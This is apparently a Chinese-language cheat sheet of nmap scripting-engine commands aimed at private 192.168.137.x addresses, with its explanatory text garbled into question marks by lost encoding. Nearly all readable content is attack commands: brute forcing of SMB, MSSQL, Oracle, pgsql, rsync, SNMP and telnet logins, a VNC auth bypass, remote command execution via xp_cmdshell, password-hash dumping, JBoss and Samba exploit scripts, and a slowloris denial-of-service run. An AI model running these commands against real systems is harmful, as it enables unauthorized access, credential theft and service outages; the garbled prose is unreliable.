??????1?? nmap --script=auth 192.168.137.*
??????????????饗????????????????????????????????????
??????2??nmap --script=brute 192.168.137.*
????????????????  ????????smb??snmp????м????????????
??????3??nmap --script=default 192.168.137.* ???? nmap -sC 192.168.137.*
????????????裬??????????????÷???????????????????????????????й???
??????4??nmap --script=vuln 192.168.137.*
???????????????????
??????5??nmap -n -p445 --script=broadcast 192.168.137.4
???????????????????????????
???????vnc bypass
????nmap  --script=realvnc-auth-bypass 192.168.137.4
????(1)???vnc??????
????nmap  --script=vnc-auth  192.168.137.4
???????vnc???
????nmap  --script=vnc-info  192.168.137.4
??????2??smb??裺
????smb???
????nmap  --script=smb-brute.nse 192.168.137.4
????smb??????
????nmap --script=smb-brute.nse --script-args=userdb=/var/passwd??passdb=/var/passwd 192.168.137.4
????smb??????????????
????nmap  --script=smb-check-vulns.nse --script-args=unsafe=1 192.168.137.4
????????????
????nmap -p 445  --script smb-ls --script-args ‘share=e$??path=??smbuser=test??smbpass=test’ 192.168.137.4
????????
????nmap -n -p445 --script=smb-enum-sessions.nse --script-args=smbuser=test??smbpass=test 192.168.137.4
?????????
????nmap -n -p445 --script=smb-os-discovery.nse --script-args=smbuser=test??smbpass=test 192.168.137.4
??????3??Mssql??裺
???????mssql???????????
????nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd??passdb=/var/passwd 192.168.137.4
????xp_cmdshell ???????
????nmap -p 1433 --script ms-sql-xp-cmdshell --script-args mssql.username=sa??mssql.password=sa??ms-sql-xp-cmdshell.cmd="net user" 192.168.137.4
??????4??dumphash?
????nmap -p 1433 --script ms-sql-dump-hashes.nse --script-args mssql.username=sa??mssql.password=sa  192.168.137.4
???????root?????
????nmap -p3306 --script=mysql-empty-password.nse 192.168.137.4
?????г?????mysql???
????nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.137.4
??????5??Oracle??裺
????oracle sid???
????nmap --script=oracle-sid-brute -p 1521-1560 192.168.137.5
????oracle?????????
????nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL??userdb=/var/passwd??passdb=/var/passwd 192.168.137.5
??????6???????Щ?????????
????nmap --script=broadcast-netbios-master-browser 192.168.137.4   ????????
????nmap -p 873 --script rsync-brute --script-args 'rsync-brute.module=www' 192.168.137.4  ???rsync
????nmap --script informix-brute -p 9088 192.168.137.4    informix????????
????nmap -p 5432 --script pgsql-brute 192.168.137.4       pgsql???
????nmap -sU --script snmp-brute 192.168.137.4            snmp???
????nmap -sV --script=telnet-brute 192.168.137.4          telnet???
????nmap --script=http-vuln-cve2010-0738 --script-args 'http-vuln-cve2010-0738.paths={/path1/??/path2/}' <target>  jboss autopwn
????nmap --script=http-methods.nse 192.168.137.4 ???http????
????nmap --script http-slowloris --max-parallelism 400 192.168.137.4  dos???????????????????С??????????? 'half-HTTP' connections
????nmap --script=samba-vuln-cve-2012-1182  -p 139 192.168.137.4
????nmap --script=smb-brute --script-args=userdb=/tmp/??????.txt??passdb=/tmp/???????.txt IP??? -p 445
??????????????????????